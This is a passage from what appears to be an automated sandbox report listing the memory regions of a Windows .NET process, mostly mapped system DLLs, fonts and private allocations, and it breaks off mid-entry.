	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 1131
	        start_va = 0x48e0000
	          end_va = 0x499ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048e0000"
	        filename = ""

Region:
	              id = 1132
	        start_va = 0x49c0000
	          end_va = 0x49cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049c0000"
	        filename = ""

Region:
	              id = 1133
	        start_va = 0x75000000
	          end_va = 0x75004fff
	     entry_point = 0x75000000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll")

Region:
	              id = 1134
	        start_va = 0x74ff0000
	          end_va = 0x74ff5fff
	     entry_point = 0x74ff0000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll")

Region:
	              id = 1135
	        start_va = 0x74b90000
	          end_va = 0x74c7ffff
	     entry_point = 0x74b90000
	     region_type = mapped_file
	            name = "system.configuration.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\766a572f745b54553bd34406293b4f78\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\766a572f745b54553bd34406293b4f78\\system.configuration.ni.dll")

Region:
	              id = 1136
	        start_va = 0x711b0000
	          end_va = 0x718c5fff
	     entry_point = 0x711b0000
	     region_type = mapped_file
	            name = "system.xml.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\427ed7b1258457fdb8be46e9dd87cbd2\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\427ed7b1258457fdb8be46e9dd87cbd2\\system.xml.ni.dll")

Region:
	              id = 1137
	        start_va = 0x5b0000
	          end_va = 0x5effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005b0000"
	        filename = ""

Region:
	              id = 1138
	        start_va = 0x630000
	          end_va = 0x636fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000630000"
	        filename = ""

Region:
	              id = 1139
	        start_va = 0x640000
	          end_va = 0x641fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000640000"
	        filename = ""

Region:
	              id = 1140
	        start_va = 0x2310000
	          end_va = 0x234ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002310000"
	        filename = ""

Region:
	              id = 1141
	        start_va = 0x49d0000
	          end_va = 0x4a8ffff
	     entry_point = 0x49d0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1142
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 1143
	        start_va = 0x74b70000
	          end_va = 0x74b85fff
	     entry_point = 0x74b70000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 1144
	        start_va = 0x74890000
	          end_va = 0x748cafff
	     entry_point = 0x74890000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1145
	        start_va = 0x750000
	          end_va = 0x750fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000750000"
	        filename = ""

Region:
	              id = 1146
	        start_va = 0x70d10000
	          end_va = 0x711a7fff
	     entry_point = 0x70d10000
	     region_type = mapped_file
	            name = "system.windows.forms.dll"
	        filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll")

Region:
	              id = 1147
	        start_va = 0x750000
	          end_va = 0x751fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000750000"
	        filename = ""

Region:
	              id = 1148
	        start_va = 0x7ef40000
	          end_va = 0x7ef4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef40000"
	        filename = ""

Region:
	              id = 1149
	        start_va = 0x7ef50000
	          end_va = 0x7ef9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef50000"
	        filename = ""

Region:
	              id = 1150
	        start_va = 0x76110000
	          end_va = 0x76d59fff
	     entry_point = 0x76110000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 1151
	        start_va = 0x760000
	          end_va = 0x760fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000760000"
	        filename = ""

Region:
	              id = 1152
	        start_va = 0x74a10000
	          end_va = 0x74a22fff
	     entry_point = 0x74a10000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 1153
	        start_va = 0x880000
	          end_va = 0x8e1fff
	     entry_point = 0x880000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll")

Region:
	              id = 1154
	        start_va = 0x73fe0000
	          end_va = 0x7416ffff
	     entry_point = 0x73fe0000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")

Region:
	              id = 1155
	        start_va = 0x4e60000
	          end_va = 0x4fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e60000"
	        filename = ""

Region:
	              id = 1156
	        start_va = 0x770000
	          end_va = 0x78bfff
	     entry_point = 0x770000
	     region_type = mapped_file
	            name = "gdipfontcachev1.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\gdipfontcachev1.dat")

Region:
	              id = 1157
	        start_va = 0x4ae0000
	          end_va = 0x4b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ae0000"
	        filename = ""

Region:
	              id = 1158
	        start_va = 0x50e0000
	          end_va = 0x51dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050e0000"
	        filename = ""

Region:
	              id = 1159
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 1160
	        start_va = 0x4e60000
	          end_va = 0x4f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e60000"
	        filename = ""

Region:
	              id = 1161
	        start_va = 0x4fb0000
	          end_va = 0x4fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fb0000"
	        filename = ""

Region:
	              id = 1162
	        start_va = 0x4fc0000
	          end_va = 0x506afff
	     entry_point = 0x4fc0000
	     region_type = mapped_file
	            name = "tahoma.ttf"
	        filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf")

Region:
	              id = 1163
	        start_va = 0x4fc0000
	          end_va = 0x506afff
	     entry_point = 0x4fc0000
	     region_type = mapped_file
	            name = "tahoma.ttf"
	        filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf")

Region:
	              id = 1164
	        start_va = 0x51e0000
	          end_va = 0x6688fff
	     entry_point = 0x51e0000
	     region_type = mapped_file
	            name = "msjh.ttf"
	        filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf")

Region:
	              id = 1165
	        start_va = 0x51e0000
	          end_va = 0x6688fff
	     entry_point = 0x51e0000
	     region_type = mapped_file
	            name = "msjh.ttf"
	        filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf")

Region:
	              id = 1166
	        start_va = 0x51e0000
	          end_va = 0x66a2fff
	     entry_point = 0x51e0000
	     region_type = mapped_file
	            name = "msyh.ttf"
	        filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf")

Region:
	              id = 1167
	        start_va = 0x51e0000
	          end_va = 0x66a2fff
	     entry_point = 0x51e0000
	     region_type = mapped_file
	            name = "msyh.ttf"
	        filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf")

Region:
	              id = 1168
	        start_va = 0x51e0000
	          end_va = 0x5602fff
	     entry_point = 0x51e0000
	     region_type = mapped_file
	            name = "malgun.ttf"
	        filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf")

Region:
	              id = 1169
	        start_va = 0x51e0000
	          end_va = 0x5602fff
	     entry_point = 0x51e0000
	     region_type = mapped_file
	            name = "malgun.ttf"
	        filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf")

Region:
	              id = 1170
	        start_va = 0x4fc0000
	          end_va = 0x505ffff
	     entry_point = 0x4fc0000
	     region_type = mapped_file
	            name = "micross.ttf"
	        filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf")

Region:
	              id = 1171
	        start_va = 0x4fc0000
	          end_va = 0x505ffff
	     entry_point = 0x4fc0000
	     region_type = mapped_file
	            name = "micross.ttf"
	        filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf")

Region:
	              id = 1172
	        start_va = 0x48e0000
	          end_va = 0x495efff
	     entry_point = 0x48e0000
	     region_type = mapped_file
	            name = "segoeui.ttf"
	        filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")

Region:
	              id = 1173
	        start_va = 0x4960000
	          end_va = 0x499ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004960000"
	        filename = ""

Region:
	              id = 1174
	        start_va = 0x48e0000
	          end_va = 0x495efff
	     entry_point = 0x48e0000
	     region_type = mapped_file
	            name = "segoeui.ttf"
	        filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")

Region:
	              id = 1175
	        start_va = 0x51e0000
	          end_va = 0x53dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051e0000"
	        filename = ""

Region:
	              id = 1176
	        start_va = 0x4fc0000
	          end_va = 0x50affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fc0000"
	        filename = ""

Region:
	              id = 1177
	        start_va = 0x53e0000
	          end_va = 0x557afff
	     entry_point = 0x53e0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 1178
	        start_va = 0x53e0000
	          end_va = 0x557afff
	     entry_point = 0x53e0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 1179
	        start_va = 0x73e40000
	          end_va = 0x73fddfff
	     entry_point = 0x73e40000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 1180
	        start_va = 0x770000
	          end_va = 0x770fff
	     entry_point = 0x770000
	     region_type = mapped_file
	            name = "windowsshell.manifest"
	        filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")

Region:
	              id = 1181
	        start_va = 0x780000
	          end_va = 0x781fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000780000"
	        filename = ""

Region:
	              id = 1182
	        start_va = 0x770000
	          end_va = 0x774fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000770000"
	        filename = ""

Region:
	              id = 1183
	        start_va = 0x790000
	          end_va = 0x79ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000790000"
	        filename = ""

Region:
	              id = 1184
	        start_va = 0x820000
	          end_va = 0x82ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000820000"
	        filename = ""

Region:
	              id = 1185
	        start_va = 0x830000
	          end_va = 0x83ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000830000"
	        filename = ""

Region:
	              id = 1186
	        start_va = 0x8f0000
	          end_va = 0x8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000008f0000"
	        filename = ""

Region:
	              id = 1187
	        start_va = 0x900000
	          end_va = 0x90ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000900000"
	        filename = ""

Region:
	              id = 1188
	        start_va = 0xa20000
	          end_va = 0xa2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a20000"
	        filename = ""

Region:
	              id = 1189
	        start_va = 0xa30000
	          end_va = 0xa3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a30000"
	        filename = ""

Region:
	              id = 1190
	        start_va = 0x74870000
	          end_va = 0x74886fff
	     entry_point = 0x74870000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 1191
	        start_va = 0x53e0000
	          end_va = 0x54dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053e0000"
	        filename = ""

Region:
	              id = 1192
	        start_va = 0x74850000
	          end_va = 0x7486bfff
	     entry_point = 0x74850000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 1193
	        start_va = 0x74840000
	          end_va = 0x74846fff
	     entry_point = 0x74840000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 1194
	        start_va = 0x747f0000
	          end_va = 0x74833fff
	     entry_point = 0x747f0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 1195
	        start_va = 0x54e0000
	          end_va = 0x55affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054e0000"
	        filename = ""

Region:
	              id = 1196
	        start_va = 0x747e0000
	          end_va = 0x747ecfff
	     entry_point = 0x747e0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll")

Region:
	              id = 1197
	        start_va = 0x747c0000
	          end_va = 0x747d1fff
	     entry_point = 0x747c0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll")

Region:
	              id = 1198
	        start_va = 0x747b0000
	          end_va = 0x747bffff
	     entry_point = 0x747b0000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll")

Region:
	              id = 1199
	        start_va = 0x55b0000
	          end_va = 0x56effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000055b0000"
	        filename = ""

Region:
	              id = 1200
	        start_va = 0x56f0000
	          end_va = 0x58dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000056f0000"
	        filename = ""

Region:
	              id = 1201
	        start_va = 0x747a0000
	          end_va = 0x747affff
	     entry_point = 0x747a0000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll")

Region:
	              id = 1202
	        start_va = 0x74550000
	          end_va = 0x74561fff
	     entry_point = 0x74550000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll")

Region:
	              id = 1203
	        start_va = 0x74540000
	          end_va = 0x74547fff
	     entry_point = 0x74540000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll")

Region:
	              id = 1204
	        start_va = 0x74530000
	          end_va = 0x74535fff
	     entry_point = 0x74530000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 1205
	        start_va = 0x744f0000
	          end_va = 0x74527fff
	     entry_point = 0x744f0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 1206
	        start_va = 0x55b0000
	          end_va = 0x56dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000055b0000"
	        filename = ""

Region:
	              id = 1207
	        start_va = 0x56e0000
	          end_va = 0x56effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000056e0000"
	        filename = ""

Region:
	              id = 1208
	        start_va = 0x820000
	          end_va = 0x830fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000820000"
	        filename = ""

Region:
	              id = 1209
	        start_va = 0x74490000
	          end_va = 0x744e1fff
	     entry_point = 0x74490000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll")

Region:
	              id = 1210
	        start_va = 0x74470000
	          end_va = 0x74484fff
	     entry_point = 0x74470000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll")

Region:
	              id = 1211
	        start_va = 0x74460000
	          end_va = 0x7446cfff
	     entry_point = 0x74460000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll")

Region:
	              id = 1212
	        start_va = 0xa40000
	          end_va = 0xa7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a40000"
	        filename = ""

Region:
	              id = 1213
	        start_va = 0x5730000
	          end_va = 0x582ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005730000"
	        filename = ""

Region:
	              id = 1214
	        start_va = 0x58d0000
	          end_va = 0x58dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000058d0000"
	        filename = ""

Region:
	              id = 1215
	        start_va = 0x73d80000
	          end_va = 0x73dd7fff
	     entry_point = 0x73d80000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")

Region:
	              id = 1216
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 1217
	        start_va = 0x74410000
	          end_va = 0x7445efff
	     entry_point = 0x74410000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll")

Region:
	              id = 1218
	        start_va = 0x48f0000
	          end_va = 0x492ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048f0000"
	        filename = ""

Region:
	              id = 1219
	        start_va = 0x4a90000
	          end_va = 0x4acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a90000"
	        filename = ""

Region:
	              id = 1220
	        start_va = 0x58e0000
	          end_va = 0x59dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000058e0000"
	        filename = ""

Region:
	              id = 1221
	        start_va = 0x5a80000
	          end_va = 0x5b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a80000"
	        filename = ""

Region:
	              id = 1222
	        start_va = 0x5c20000
	          end_va = 0x5d1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005c20000"
	        filename = ""

Region:
	              id = 1223
	        start_va = 0x7ef3d000
	          end_va = 0x7ef3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3d000"
	        filename = ""

Region:
	              id = 1224
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""

Region:
	              id = 1225
	        start_va = 0x73e30000
	          end_va = 0x73e37fff
	     entry_point = 0x73e30000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll")

Region:
	              id = 1226
	        start_va = 0x76f70000
	          end_va = 0x76f96fff
	     entry_point = 0x76f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 1227
	        start_va = 0x55e0000
	          end_va = 0x561ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000055e0000"
	        filename = ""

Region:
	              id = 1228
	        start_va = 0x56a0000
	          end_va = 0x56dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000056a0000"
	        filename = ""

Region:
	              id = 1229
	        start_va = 0x5ea0000
	          end_va = 0x5f9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005ea0000"
	        filename = ""

Region:
	              id = 1230
	        start_va = 0x7ef3a000
	          end_va = 0x7ef3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3a000"
	        filename = ""

Region:
	              id = 1231
	        start_va = 0x73e20000
	          end_va = 0x73e2dfff
	     entry_point = 0x73e20000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 1232
	        start_va = 0x790000
	          end_va = 0x790fff
	     entry_point = 0x790000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1233
	        start_va = 0x5880000
	          end_va = 0x58bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005880000"
	        filename = ""

Region:
	              id = 1234
	        start_va = 0x60d0000
	          end_va = 0x61cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000060d0000"
	        filename = ""

Region:
	              id = 1235
	        start_va = 0x7ef37000
	          end_va = 0x7ef39fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef37000"
	        filename = ""

Region:
	              id = 1236
	        start_va = 0x61d0000
	          end_va = 0x65c2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000061d0000"
	        filename = ""

Region:
	              id = 1237
	        start_va = 0x790000
	          end_va = 0x790fff
	     entry_point = 0x790000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1238
	        start_va = 0x73c60000
	          end_va = 0x73d7bfff
	     entry_point = 0x73c60000
	     region_type = mapped_file
	            name = "system.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\4a1bd5a11e89160fb5f7669f6e27e129\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\4a1bd5a11e89160fb5f7669f6e27e129\\system.management.ni.dll")

Region:
	              id = 1239
	        start_va = 0x790000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000790000"
	        filename = ""

Region:
	              id = 1240
	        start_va = 0x5010000
	          end_va = 0x504ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005010000"
	        filename = ""

Region:
	              id = 1241
	        start_va = 0x5070000
	          end_va = 0x50affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005070000"
	        filename = ""

Region:
	              id = 1242
	        start_va = 0x66e0000
	          end_va = 0x67dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000066e0000"
	        filename = ""

Region:
	              id = 1243
	        start_va = 0x7ef34000
	          end_va = 0x7ef36fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef34000"
	        filename = ""

Region:
	              id = 1244
	        start_va = 0x75340000
	          end_va = 0x753c2fff
	     entry_point = 0x75340000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 1245
	        start_va = 0x8f0000
	          end_va = 0x8f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008f0000"
	        filename = ""

Region:
	              id = 1246
	        start_va = 0x73e00000
	          end_va = 0x73e16fff
	     entry_point = 0x73e00000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll")

Region:
	              id = 1247
	        start_va = 0x73c00000
	          end_va = 0x73c5bfff
	     entry_point = 0x73c00000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")

Region:
	              id = 1248
	        start_va = 0x67e0000
	          end_va = 0x69effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000067e0000"
	        filename = ""

Region:
	              id = 1249
	        start_va = 0x4fd0000
	          end_va = 0x500ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fd0000"
	        filename = ""

Region:
	              id = 1250
	        start_va = 0x68b0000
	          end_va = 0x69affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000068b0000"
	        filename = ""

Region:
	              id = 1251
	        start_va = 0x69b0000
	          end_va = 0x69effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000069b0000"
	        filename = ""

Region:
	              id = 1252
	        start_va = 0x73bf0000
	          end_va = 0x73bf9fff
	     entry_point = 0x73bf0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")

Region:
	              id = 1253
	        start_va = 0x7ef31000
	          end_va = 0x7ef33fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef31000"
	        filename = ""

Region:
	              id = 1254
	        start_va = 0x73be0000
	          end_va = 0x73be9fff
	     entry_point = 0x73be0000
	     region_type = mapped_file
	            name = "wminet_utils.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll")

Region:
	              id = 1255
	        start_va = 0x5b80000
	          end_va = 0x5bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005b80000"
	        filename = ""

Region:
	              id = 1256
	        start_va = 0x6a60000
